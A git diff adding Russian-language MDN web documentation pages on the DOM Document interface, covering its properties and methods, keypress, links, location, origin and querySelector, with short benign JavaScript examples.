Каждая веб-страница, которая загружается в браузер, имеет свой собственный объект document. Интерфейс документа служит точкой входа для получения содержимого веб-страницы (всего DOM - дерева, включая такие элементы как {{HTMLElement("body")}} и {{HTMLElement("table")}}), а также обеспечивает функциональность, которая является глобальной для документа, например, для получения URL-адреса страницы или создания новых элементов в документе).

+ +

Объект document может быть получен из разных API:

+ + + +

В зависимости от вида документа (т.е. HTML или XML) у объекта document могут быть доступны разные API.

+ + + +

В будущем все эти интерфейсы будут сведены в один интерфейс - Document.

+ +

Свойства

+ +
+

Примечание: Интерфейс Document наследует также интерфейсы {{domxref("Node")}} и {{domxref("EventTarget")}}.

+
+ +
+
{{domxref("Document.all")}} {{Deprecated_inline}} {{non-standard_inline}}
+
Обеспечивает доступ ко всем элементам с идентификаторами (id). Это нестандартный интерфейс, вместо него рекомендуется использовать метод {{domxref("Document.getElementById()")}}.
+
{{domxref("Document.async")}} {{Deprecated_inline}}
+
Используется с {{domxref("document.load")}} чтобы обозначить асинхронный запрос.
+
{{domxref("Document.characterSet")}} {{experimental_inline}}
+
Возвращает кодировку документа.
+
{{domxref("Document.compatMode")}} {{experimental_inline}}
+
Указывает в каком режиме (Quirks или Strict) рендерился документ.
+
{{domxref("Document.contentType")}} {{experimental_inline}}
+
Возвращает Content-Type из MIME заголовка текущего документа.
+
{{domxref("Document.doctype")}}
+
Возвращает Document Type Definition (DTD) текущего документа .
+
{{domxref("Document.documentElement")}}
+
Возвращает Element, который является первым дочерним элементом документа. Для HTML документов это HTML элемент.
+
{{domxref("Document.documentURI")}}
+
Возвращает URL документа.
+
{{domxref("Document.domConfig")}} {{Deprecated_inline}}
+
Должен вернуть  {{domxref("DOMConfiguration")}} объект.
+
{{domxref("Document.implementation")}}
+
Возвращает DOM implementation связанную с текущим документом.
+
{{domxref("Document.inputEncoding")}} {{Deprecated_inline}}
+
Возвращает кодировку, которая использовалась во время парсинга документа.
+
{{domxref("Document.lastStyleSheetSet")}}
+
Возвращает имя последнего включенного набора таблиц стилей. Имеет значение null , пока таблица стилей не будет изменена путем установки значения {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}}.
+
{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}} {{gecko_minversion_inline("8.0")}}
+
true если этот документ является синтетическим, например, отдельные изображения, видео, аудио файлы, или тому подобные.
+
{{domxref("Document.mozFullScreen")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}
+
true когда документ находится в  {{domxref("Using_full-screen_mode","full-screen mode")}}.
+
{{domxref("Document.mozFullScreenElement")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}
+
Элемент, который в данный момент находится в полноэкранном режиме для этого документа.
+
{{domxref("Document.mozFullScreenEnabled")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}
+
true if calling {{domxref("element.mozRequestFullscreen()")}} would succeed in the curent document.
+
{{domxref("Document.pointerLockElement")}} {{experimental_inline}}
+
Returns the element set as the target for mouse events while the pointer is locked. null if lock is pending, pointer is unlocked, or if the target is in another document.
+
{{domxref("Document.preferredStyleSheetSet")}}
+
Returns the preferred style sheet set as specified by the page author.
+
{{domxref("Document.selectedStyleSheetSet")}}
+
Returns which style sheet set is currently in use.
+
{{domxref("Document.styleSheets")}}
+
Returns a list of the style sheet objects on the current document.
+
{{domxref("Document.styleSheetSets")}}
+
Returns a list of the style sheet sets available on the document.
+
{{domxref("Document.xmlEncoding")}} {{Deprecated_inline}}
+
Returns the encoding as determined by the XML declaration.
+
{{domxref("Document.xmlStandalone")}} {{obsolete_inline("10.0")}}
+
Returns true if the XML declaration specifies the document to be standalone (e.g., An external part of the DTD affects the document's content), else false.
+
{{domxref("Document.xmlVersion")}} {{obsolete_inline("10.0")}}
+
Returns the version number as specified in the XML declaration or "1.0" if the declaration is absent.
+
+ +

The Document interface is extended with the {{domxref("ParentNode")}} interface:

+ +

{{page("/en-US/docs/Web/API/ParentNode","Properties")}}

+ +

Extension for HTML documents

+ +

The Document interface for HTML documents inherit from the {{domxref("HTMLDocument")}} interface or, since HTML5,  is extended for such documents:

+ +
+
{{domxref("Document.activeElement")}}
+
Returns the currently focused element.
+
{{domxref("Document.alinkColor")}} {{Deprecated_inline}}
+
Returns or sets the color of active links in the document body.
+
{{domxref("Document.anchors")}}
+
Returns a list of all of the anchors in the document.
+
{{domxref("Document.applets")}} {{Deprecated_inline}}
+
Returns an ordered list of the applets within a document.
+
{{domxref("Document.bgColor")}} {{Deprecated_inline}}
+
Gets/sets the background color of the current document.
+
{{domxref("Document.body")}}
+
Returns the {{HTMLElement("body")}} element of the current document.
+
{{domxref("Document.cookie")}}
+
Returns a semicolon-separated list of the cookies for that document or sets a single cookie.
+
{{domxref("Document.defaultView")}}
+
Returns a reference to the window object.
+
{{domxref("Document.designMode")}}
+
Gets/sets the ability to edit the whole document.
+
{{domxref("Document.dir")}}
+
Gets/sets directionality (rtl/ltr) of the document.
+
{{domxref("Document.domain")}}
+
Returns the domain of the current document.
+
{{domxref("Document.embeds")}}
+
Returns a list of the embedded {{HTMLElement('embed')}} elements within the current document.
+
{{domxref("Document.fgColor")}} {{Deprecated_inline}}
+
Gets/sets the foreground color, or text color, of the current document.
+
{{domxref("Document.forms")}}
+
Returns a list of the {{HTMLElement("form")}} elements within the current document.
+
{{domxref("Document.head")}}
+
Returns the {{HTMLElement("head")}} element of the current document.
+
{{domxref("Document.height")}} {{non-standard_inline}} {{obsolete_inline}}
+
Gets/sets the height of the current document.
+
{{domxref("Document.images")}}
+
Returns a list of the images in the current document.
+
{{domxref("Document.lastModified")}}
+
Returns the date on which the document was last modified.
+
{{domxref("Document.linkColor")}} {{Deprecated_inline}}
+
Gets/sets the color of hyperlinks in the document.
+
{{domxref("Document.links")}}
+
Returns a list of all the hyperlinks in the document.
+
{{domxref("Document.location")}}
+
Returns the URI of the current document.
+
{{domxref("Document.plugins")}}
+
Returns a list of the available plugins.
+
{{domxref("Document.readyState")}} {{gecko_minversion_inline("1.9.2")}}
+
Returns loading status of the document.
+
{{domxref("Document.referrer")}}
+
Returns the URI of the page that linked to this page.
+
{{domxref("Document.scripts")}}
+
Returns all the {{HTMLElement("script")}} elements on the document.
+
{{domxref("Document.title")}}
+
Returns the title of the current document.
+
{{domxref("Document.URL")}}
+
Returns a string containing the URL of the current document.
+
{{domxref("Document.vlinkColor")}} {{Deprecated_inline}}
+
Gets/sets the color of visited hyperlinks.
+
{{domxref("Document.width")}} {{non-standard_inline}} {{obsolete_inline}}
+
Returns the width of the current document.
+
+ +

Event handlers

+ +
+
{{domxref("Document.onpointerlockchange")}} {{experimental_inline}}
+
Returns the event handling code for the {{event("pointerlockchange")}} event.
+
{{domxref("Document.onpointerlockerror")}} {{experimental_inline}}
+
Returns the event handling code for the {{event("pointerlockerror")}} event.
+
{{domxref("Document.onreadystatechange")}} {{gecko_minversion_inline("1.9.2")}}
+
Returns the event handling code for the readystatechange event.
+
+ +

Methods

+ +
+

Note: The Document interface also inherits from the {{domxref("Node")}} and {{domxref("EventTarget")}} interfaces.

+
+ +
+
{{domxref("Document.adoptNode","Document.adoptNode(Node node)")}}
+
Adopt node from an external document.
+
{{domxref("Document.captureEvents","Document.captureEvents(String eventName)")}} {{Deprecated_inline}}
+
See {{domxref("window.captureEvents")}}.
+
{{domxref("Document.caretPositionFromPoint","Document.caretPositionFromPoint(Number x, Number y)")}}
+
Gets a {{domxref("CaretPosition")}} based on two coordinates.
+
{{domxref("Document.createAttribute","Document.createAttribute(String name)")}}
+
Creates a new {{domxref("Attr")}} object and returns it.
+
{{domxref("Document.createAttributeNS","Document.createAttributeNS(String namespace, String name)")}}
+
Creates a new attribute node in a given namespace and returns it.
+
{{domxref("Document.createCDATASection","Document.createCDATASection(String data)")}}
+
Creates a new CDATA node and returns it.
+
{{domxref("Document.createComment","Document.createComment(String comment)")}}
+
Creates a new comment node and returns it.
+
{{domxref("Document.createDocumentFragment()")}}
+
Creates a new document fragment.
+
{{domxref("Document.createElement","Document.createElement(String name)")}}
+
Creates a new element with the given tag name.
+
{{domxref("Document.createElementNS","Document.createElementNS(String namespace, String name)")}}
+
Creates a new element with the given tag name and namespace URI.
+
{{domxref("Document.createEntityReference","Document.createEntityReference(String name)")}} {{obsolete_inline}}
+
Creates a new entity reference object and returns it.
+
{{domxref("Document.createEvent","Document.createEvent(String interface)")}}
+
Creates an event object.
+
{{domxref("Document.createNodeIterator","Document.createNodeIterator(Node root[, Number whatToShow[, NodeFilter filter]])")}}
+
Creates a {{domxref("NodeIterator")}} object.
+
{{domxref("Document.createProcessingInstruction","Document.createProcessingInstruction(String target, String data)")}}
+
Creates a new {{domxref("ProcessingInstruction")}} object.
+
{{domxref("Document.createRange()")}}
+
Creates a {{domxref("Range")}} object.
+
{{domxref("Document.createTextNode","Document.createTextNode(String text)")}}
+
Creates a text node.
+
{{domxref("Document.createTreeWalker","Document.createTreeWalker(Node root[, Number whatToShow[, NodeFilter filter]])")}}
+
Creates a {{domxref("TreeWalker")}} object.
+
{{domxref("Document.elementFromPoint","Document.elementFromPoint(Number x, Number y)")}}
+
Returns the element visible at the specified coordinates.
+
{{domxref("Document.enableStyleSheetsForSet","Document.enableStyleSheetsForSet(String name)")}}
+
Enables the style sheets for the specified style sheet set.
+
{{domxref("Document.exitPointerLock()")}} {{experimental_inline}}
+
Release the pointer lock.
+
{{domxref("Document.getElementsByClassName","Document.getElementsByClassName(String className)")}}
+
Returns a list of elements with the given class name.
+
{{domxref("Document.getElementsByTagName","Document.getElementsByTagName(String tagName)")}}
+
Returns a list of elements with the given tag name.
+
{{domxref("Document.getElementsByTagNameNS","Document.getElementsByTagNameNS(String namespace, String tagName)")}}
+
Returns a list of elements with the given tag name and namespace.
+
{{domxref("Document.importNode","Document.importNode(Node node, Boolean deep)")}}
+
Returns a clone of a node from an external document.
+
{{domxref("document.mozSetImageElement")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}
+
Allows you to change the element being used as the background image for a specified element ID.
+
{{domxref("Document.normalizeDocument()")}} {{obsolete_inline}}
+
Replaces entities, normalizes text nodes, etc.
+
{{domxref("Document.releaseCapture()")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}
+
Releases the current mouse capture if it's on an element in this document.
+
{{domxref("Document.releaseEvents")}} {{non-standard_inline}} {{Deprecated_inline}}
+
See {{domxref("window.releaseEvents")}}.
+
{{domxref("document.routeEvent")}} {{non-standard_inline}} {{obsolete_inline(24)}}
+
See {{domxref("window.routeEvent")}}.
+
+ +

The Document interface is extended with the {{domxref("ParentNode")}} interface:

+ +
+
{{domxref("Document.getElementById","Document.getElementById(String id)")}}
+
Returns an object reference to the identified element.
+
{{domxref("Document.querySelector","Document.querySelector(String selector)")}} {{gecko_minversion_inline("1.9.1")}}
+
Returns the first Element node within the document, in document order, that matches the specified selectors.
+
{{domxref("Document.querySelectorAll","Document.querySelectorAll(String selector)")}} {{gecko_minversion_inline("1.9.1")}}
+
Returns a list of all the Element nodes within the document that match the specified selectors.
+
+ +

The Document interface is extended with the {{domxref("XPathEvaluator")}} interface:

+ +
+
{{domxref("Document.createExpression","Document.createExpression(String expression, XPathNSResolver resolver)")}}
+
Compiles an XPathExpression which can then be used for (repeated) evaluations.
+
{{domxref("Document.createNSResolver","Document.createNSResolver(Node resolver)")}}
+
Creates an {{domxref("XPathNSResolver")}} object.
+
{{domxref("Document.evaluate","Document.evaluate(String expression, Node contextNode, XPathNSResolver resolver, Number type, Object result)")}}
+
Evaluates an XPath expression.
+
+ +

Extension for HTML documents

+ +

The Document interface for HTML documents inherit from the {{domxref("HTMLDocument")}} interface or, since HTML5,  is extended for such documents:

+ +
+
{{domxref("Document.clear()")}} {{non-standard_inline}} {{Deprecated_inline}}
+
In majority of modern browsers, including recent versions of Firefox and Internet Explorer, this method does nothing.
+
{{domxref("Document.close()")}}
+
Closes a document stream for writing.
+
{{domxref("Document.execCommand","Document.execCommand(String command[, Boolean showUI[, String value]])")}}
+
On an editable document, executes a formating command.
+
{{domxref("Document.getElementsByName","Document.getElementsByName(String name)")}}
+
Returns a list of elements with the given name.
+
{{domxref("Document.getSelection()")}}
+
Returns a {{domxref("Selection")}} object related to text selected in the document.
+
{{domxref("Document.hasFocus()")}}
+
Returns true if the focus is currently located anywhere inside the specified document.
+
{{domxref("Document.open()")}}
+
Opens a document stream for writing.
+
{{domxref("Document.queryCommandEnabled","Document.queryCommandEnabled(String command)")}}
+
Returns true if the formating command can be executed on the current range.
+
{{domxref("Document.queryCommandIndeterm","Document.queryCommandIndeterm(String command)")}}
+
Returns true if the formating command is in an indeterminate state on the current range.
+
{{domxref("Document.queryCommandState","Document.queryCommandState(String command)")}}
+
Returns true if the formating command has been executed on the current range.
+
{{domxref("Document.queryCommandSupported","Document.queryCommandSupported(String command)")}}
+
Returns true if the formating command is supported on the current range.
+
{{domxref("Document.queryCommandValue","Document.queryCommandValue(String command)")}}
+
Returns the current value of the current range for a formatting command.
+
{{domxref("Document.registerElement","Document.registerElement(String tagname[, Object options])")}}
+
Registers a new custom element in the browser and returns a constructor for the new element.
+
{{domxref("Document.write","Document.write(String text)")}}
+
Writes text in a document.
+
{{domxref("Document.writeln","Document.writeln(String text)")}}
+
Writes a line of text in a document.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM1','#i-Document','Document')}}{{Spec2('DOM1')}}Initial definition for the interface
{{SpecName('DOM2 Core','#i-Document','Document')}}{{Spec2('DOM2 Core')}}Supersede DOM 1
{{SpecName('DOM3 Core','#i-Document','Document')}}{{Spec2('DOM3 Core')}}Supersede DOM 2
{{SpecName('DOM WHATWG','#interface-document','Document')}}{{Spec2('DOM WHATWG')}}Intend to supersede DOM 3
{{SpecName('HTML WHATWG','dom.html#the-document-object','Document')}}{{Spec2('HTML WHATWG')}}Turn the {{domxref("HTMLDocument")}} interface into a Document extension.
{{SpecName('DOM3 XPath','xpath.html#XPathEvaluator','XPathEvaluator')}}{{Spec2('DOM3 XPath')}}Define the {{domxref("XPathEvaluator")}} interface which extend Document.
{{SpecName('HTML Editing','#dom-document-getselection','Document')}}{{Spec2('HTML Editing')}}Extend the Document interface
{{SpecName('CSSOM View','#extensions-to-the-document-interface','Document')}}{{Spec2('CSSOM View')}}Extend the Document interface
{{SpecName('CSSOM','#extensions-to-the-document-interface','Document')}}{{Spec2('CSSOM')}}Extend the Document interface
{{SpecName('Pointer Lock','#extensions-to-the-document-interface','Document')}}{{Spec2('Pointer Lock')}}Extend the Document interface
+ +

Browser compatibility

+ +

Firefox notes

+ +

Mozilla defines a set of non-standard properties made only for XUL content:

+ +
+
{{domxref("document.currentScript")}} {{gecko_minversion_inline("2.0")}}
+
Returns the {{HTMLElement("script")}} element that is currently executing.
+
{{domxref("document.documentURIObject")}} {{gecko_minversion_inline("1.9")}}
+
(Mozilla add-ons only!) Returns the {{Interface("nsIURI")}} object representing the URI of the document. This property only has special meaning in privileged JavaScript code (with UniversalXPConnect privileges).
+
{{domxref("document.popupNode")}}
+
Returns the node upon which a popup was invoked.
+
{{domxref("document.tooltipNode")}}
+
Returns the node which is the target of the current tooltip.
+
+ +

Mozilla also define some non-standard methods:

+ +
+
{{domxref("Document.execCommandShowHelp")}} {{obsolete_inline("14.0")}}
+
This method never did anything and always threw an exception, so it was removed in Gecko 14.0 {{geckoRelease("14.0")}}.
+
{{domxref("Document.getBoxObjectFor")}} {{obsolete_inline}}
+
Use the {{domxref("Element.getBoundingClientRect()")}} method instead.
+
{{domxref("Document.loadOverlay")}} {{Fx_minversion_inline("1.5")}}
+
Loads a XUL overlay dynamically. This only works in XUL documents.
+
{{domxref("document.queryCommandText")}} {{obsolete_inline("14.0")}}
+
This method never did anything but throw an exception, and was removed in Gecko 14.0 {{geckoRelease("14.0")}}.
+
+ +

Internet Explorer notes

+ +

Microsoft defines some non-standard properties:

+ +
+
{{domxref("document.fileSize")}}* {{non-standard_inline}} {{obsolete_inline}}
+
Returns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See MSDN.
+
Internet Explorer does not support all methods from the Node interface in the Document interface:
+
+ +
+
{{domxref("document.contains")}}
+
As a work-around, document.body.contains() can be used.
+
+ +

Совместимость с браузерами

+ +

{{Compat("api.Document")}}

diff --git a/files/ru/web/api/document/keypress_event/index.html b/files/ru/web/api/document/keypress_event/index.html new file mode 100644 index 0000000000..cf6158c111 --- /dev/null +++ b/files/ru/web/api/document/keypress_event/index.html @@ -0,0 +1,183 @@ +--- +title: keypress +slug: Web/API/Document/keypress_event +translation_of: Web/API/Document/keypress_event +--- +

Событие keypress происходит когда нажимается символьная клавиша, то есть клавиша которая создает символ. Пример таких клавиш это буквы, цифры, знаки пунктуации и т.д. Примеры клавиш которые не создают символы, это клавиши модификаторы, такие как: Alt, Shift, Ctrl, or Meta.

+ +

Общая информация

+ +
+
Спецификация
+
DOM L3 {{deprecated_inline()}}
+
Интерфейс
+
KeyboardEvent
+
Bubbles
+
Yes
+
Cancelable
+
Yes
+
Цель
+
Document, Element
+
Действие по умолчанию
+
Varies: keypress event; launch text composition system; blur and focus events; DOMActivate event; other event
+
+ +

Свойства

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойстваТипОписание
target {{readonlyInline}}EventTargetЦель события (самая верхняя цель в дереве DOM).
type {{readonlyInline}}DOMStringТип события.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not
cancelable {{readonlyInline}}BooleanОтменяется ли событие или нет
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
target {{readonlyInline}}EventTarget (DOM element)Сосредоточенный элемент, обрабатывающий ключевое событие, корневой элемент, если не выделен подходящий элемент ввода.
char {{readonlyInline}}DOMString (string)The character value of the key. If the key corresponds to a printable character, this value is a non-empty Unicode string containing that character. If the key doesn't have a printable representation, this is an empty string. See key names and char values for the detail. +
Примечание: Если ключ используется в качестве макроса, который вставляет несколько символов, значением этого атрибута является вся строка, а не только первый символ.
+
key {{readonlyInline}}DOMString (string) +

The key value of the key represented by the event. If the value has a printed representation, this attribute's value is the same as the char property. Otherwise, it's one of the key value strings specified in Key values. If the key can't be identified, its value is the string "Unidentified". See key names and char values for more details. Read Only.

+
code {{readonlyInline}} + + DOMString (string)Holds a string that identifies the physical key being pressed. The value is not affected by the current keyboard layout or modifier state, so a particular key will always return the same value.
charCode {{readonlyInline}}Unsigned long (int)The Unicode reference number of the key; this attribute is used only by the keypress event. For keys whose char attribute contains multiple characters, this is the Unicode value of the first character in that attribute. +
Warning: This attribute is deprecated; you should use char instead, if available.
+
keyCode {{readonlyInline}}Unsigned long (int)A system and implementation dependent numerical code identifying the unmodified value of the pressed key. This is usually the decimal ASCII ({{ RFC(20) }}) or Windows 1252 code corresponding to the key; see {{ anch("Virtual key codes") }} for a list of common values. If the key can't be identified, this value is 0. +
Warning: This attribute is deprecated; you should use key instead, if available.
+
which {{readonlyInline}}Unsigned long (int)A system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as keyCode. +
Warning: This attribute is deprecated; you should use key instead, if available.
+
location {{readonlyInline}}long (float)The location of the key on the device.
repeat {{readonlyInline}}booleantrue if a key has been depressed long enough to trigger key repetition, otherwise false.
locale {{readonlyInline}}stringThe language code for the key event, if available; otherwise, the empty string.
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

Заметки

+ +

Chrome не запускает событие keypress для известных сочетаний клавиш (reference). Какие сочетания клавиш известны, зависит от системы пользователя. Используйте событиеkeydown для реализации сочетаний клавиш.

+ +

Связанные события

+ + + +

Пример

+ +
<!DOCTYPE html>
+<html>
+<head>
+<script>
+
+'use strict';
+
+document.addEventListener('keypress', (event) => {
+  const keyName = event.key;
+
+  alert('keypress event\n\n' + 'key: ' + keyName);
+});
+
+</script>
+</head>
+<body>
+</body>
+</html>
diff --git a/files/ru/web/api/document/links/index.html b/files/ru/web/api/document/links/index.html new file mode 100644 index 0000000000..3497a83b47 --- /dev/null +++ b/files/ru/web/api/document/links/index.html @@ -0,0 +1,72 @@ +--- +title: Document.links +slug: Web/API/Document/links +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/links +--- +

{{ APIRef("DOM") }}

+ +

Возвращает объект всех элементов {{HTMLElement("area")}} и {{HTMLElement("a")}}, присутствующих на странице с значением атрибута href.

+ +

Синтаксис

+ +
nodeList = document.links
+
+ +

 

+ +

Значение

+ +

{{domxref("HTMLCollection")}}.

+ +

 

+ +

Пример

+ +
var links = document.links;
+for(var i = 0; i < links.length; i++) {
+  var linkHref = document.createTextNode(links[i].href);
+  var lineBreak = document.createElement("br");
+  document.body.appendChild(linkHref);
+  document.body.appendChild(lineBreak);
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-document-links', 'Document.links')}}{{ Spec2('HTML WHATWG') }} 
{{SpecName("DOM2 HTML", "html.html#ID-7068919", "document.links")}}{{Spec2("DOM2 HTML")}}Исходное определение.
+ +

Совместимость с браузерами

+ +

 

+ + + +

{{Compat("api.Document.links")}}

+ +

 

diff --git a/files/ru/web/api/document/location/index.html b/files/ru/web/api/document/location/index.html new file mode 100644 index 0000000000..f0541c8c74 --- /dev/null +++ b/files/ru/web/api/document/location/index.html @@ -0,0 +1,76 @@ +--- +title: Document.location +slug: Web/API/Document/location +tags: + - API + - Document + - HTML DOM + - Read-only + - Свойство +translation_of: Web/API/Document/location +--- +

{{APIRef("DOM")}}

+ +

Доступное только для чтения свойство Document.location возвращает объект {{domxref("Location")}}, который содержит информацию о URL страницы и предоставляет методы для изменения этого URL и загрузки другого URL.

+ +

Хотя Document.location это read-only объект Location, вы всё же можете присвоить ему {{domxref("DOMString")}}. Это означает, что в большинстве случаев вы можете работать с document.location так, будто это строка: document.location = 'http://www.example.com' фактически то же, что и document.location.href = 'http://www.example.com'.

+ +

Чтобы получить URL как строку, вы можете использовать read-only свойство {{domxref("document.URL")}}.

+ +

Если страница находится вне текущего контекста, вернётся null.

+ +

Синтаксис

+ +
locationObj = document.location
+document.location = 'http://www.mozilla.org' // Эквиваленто след.
+document.location.href = 'http://www.mozilla.org'
+ +

Пример

+ +
dump(document.location);
+// Выведет строку
+// "http://www.example.com/juicybits.html" в консоли
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}{{Spec2('HTML WHATWG')}}Нет изменений с {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}{{Spec2('HTML5 W3C')}}Исходное определение.
+ +

Совместимость с браузерами

+ +

 

+ + + +

{{Compat("api.Document.location")}}

+ +

 

+ +

Смотрите также

+ + + +

 

diff --git a/files/ru/web/api/document/origin/index.html b/files/ru/web/api/document/origin/index.html new file mode 100644 index 0000000000..31ebf7845b --- /dev/null +++ b/files/ru/web/api/document/origin/index.html @@ -0,0 +1,109 @@ +--- +title: Document.origin +slug: Web/API/Document/origin +tags: + - API + - DOM + - Read-only + - Интерфейс + - Свойство + - Эксперементальный +translation_of: Web/API/Document/origin +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +
 
+ +

Document.origin — это свойство, доступное только для чтения, которое возвращает origin документа. В большинстве случаев это свойство эквивалентно  document.defaultView.location.origin.

+ +

Примеры

+ +
var origin = document.origin;
+// На этой странице вернёт:'https://developer.mozilla.org'
+
+var origin = document.origin;
+// Для "about:blank" вернёт:'null'
+
+var origin = document.origin;
+// Для "data:text/html,<b>foo</b>" вернёт:'null'
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-document-origin', 'Document.origin')}}{{Spec2('DOM WHATWG')}}Начальное определение (выставляется во время инициализации DOM).
{{SpecName('HTML WHATWG', '#origin:document', 'origin for Document objects')}}{{Spec2('HTML WHATWG')}}Начальное определение (выставляется во время инициализации DOM).
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatChrome(41)}}{{CompatNo}} {{bug(931884)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/document/queryselector/index.html b/files/ru/web/api/document/queryselector/index.html new file mode 100644 index 0000000000..2a4803421f --- /dev/null +++ b/files/ru/web/api/document/queryselector/index.html @@ -0,0 +1,131 @@ +--- +title: Document.querySelector() +slug: Web/API/Document/querySelector +tags: + - CSS + - DOM + - Selector + - querySelector + - выборка + - поиск элемента + - поиск элементов + - селектор +translation_of: Web/API/Document/querySelector +--- +
{{ApiRef("DOM")}}
+ +

{{domxref("Document")}} метод querySelector() возвращает первый элемент ({{domxref("Element")}}) документа, который соответствует указанному селектору или группе селекторов. Если совпадений не найдено, возвращает значение null.

+ +
+

Заметка: Сопоставление выполняется с использованием обхода по предварительному порядку в глубину узлов документа, начиная с первого элемента в разметке документа и повторяя последовательные узлы по порядку количества дочерних узлов.

+
+ +

Синтаксис

+ +
element = document.querySelector(selectors);
+
+ +

Параметры

+ +
+
селекторы
+
{{domxref("DOMString")}}, содержайщий один или более селекторов для сопоставления. Эта строка должна быть допустимой строкой селектора CSS; если же нет, генерируется исключение SYNTAX_ERR. Смотрите Расположение элементов DOM с использованием селекторов для того, чтобы узнать больше о селекторах и о том, как ими управлять.
+
+ +
+

Заметка: Символы, которые не являются частью стандартного синтаксиса CSS должны быть экранированы символом обратной косой черты. Поскольку JavaScript также использует экранирование символом обратной косой черты, будьте особенно внимательны при написании строковых литералов с использованием этих символов. См. {{anch("Escaping special characters")}} для получения дополнительной информации.

+
+ +

Возвращаемое значение

+ +

Ссылка на объект типа {{domxref("Element")}}, являющийся первым элементов в документе, который соответствует указанному набору CSS селекторов, либо null, если совпадений нет.  

+ +

Если вам нужен список всех элементов, соответствующих указанным селекторам, используйте функцию {{domxref("Document.querySelectorAll", "querySelectorAll()")}}.

+ +

Исключения

+ +
+
SYNTAX_ERR
+
Некорректный синтаксис указанных селекторов selectors.
+
+ +

Примечания по использованию

+ +

Если указанный селектор соответствует идентификатору, который неправильно используется более одного раза в документе, возвращается первый элемент с этим идентификатором.

+ +

Псевдо-элементы CSS никогда не вернут никаких элементов, как указано в API селекторов.

+ +

Экранирование специальных символов

+ +

Чтобы сопоставить ID или селектроры, которые не соответствуют стандартному синтаксису CSS (например, использующих ненадлежащим образом двоеточие или пробел), необходимо экранировать символ обратной косой чертой ("\"). Поскольку обратная косая черта также является экранирующим символом в JavaScript, то при вводе литеральной строки необходимо экранировать ее дважды (первый раз для строки JavaScript и второй для querySelector()):

+ +
<div id="foo\bar"></div>
+<div id="foo:bar"></div>
+
+<script>
+  console.log('#foo\bar');               // "#fooar" (\b is the backspace control character)
+  document.querySelector('#foo\bar');    // Does not match anything
+
+  console.log('#foo\\bar');              // "#foo\bar"
+  console.log('#foo\\\\bar');            // "#foo\\bar"
+  document.querySelector('#foo\\bar'); // Match the first div
+
+  document.querySelector('#foo:bar');    // Does not match anything
+  document.querySelector('#foo\\:bar');  // Match the second div
+</script>
+ +

Примеры

+ +

Выбор первого элемента с совпадающим классом

+ +

В этом примере, нам вернется первый элемент в документе с классом "myclass":

+ +
var el = document.querySelector(".myclass");
+
+ +

Более сложный селектор

+ +

Селекторы, передаваемые в querySelector, могут быть использованы и для точного поиска, как показано в примере ниже. В данном примере возвращается элемент <input name="login"/>, находящийся в <div class="user-panel main">:

+ +
var el = document.querySelector("div.user-panel.main input[name=login]");
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 2")}}
{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 1")}}Изначальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Document.querySelector")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/document/queryselectorall/index.html b/files/ru/web/api/document/queryselectorall/index.html new file mode 100644 index 0000000000..3706d0099d --- /dev/null +++ b/files/ru/web/api/document/queryselectorall/index.html @@ -0,0 +1,165 @@ +--- +title: Document.querySelectorAll() +slug: Web/API/Document/querySelectorAll +tags: + - API + - DOM + - Document + - Method + - Selectors +translation_of: Web/API/Document/querySelectorAll +--- +
{{ ApiRef("DOM") }}
+ +

Метод querySelectorAll() {{domxref("Document")}} возвращает статический (не динамический) {{domxref("NodeList")}}, содержащий все найденные элементы документа, которые соответствуют указанному селектору.

+ +
+

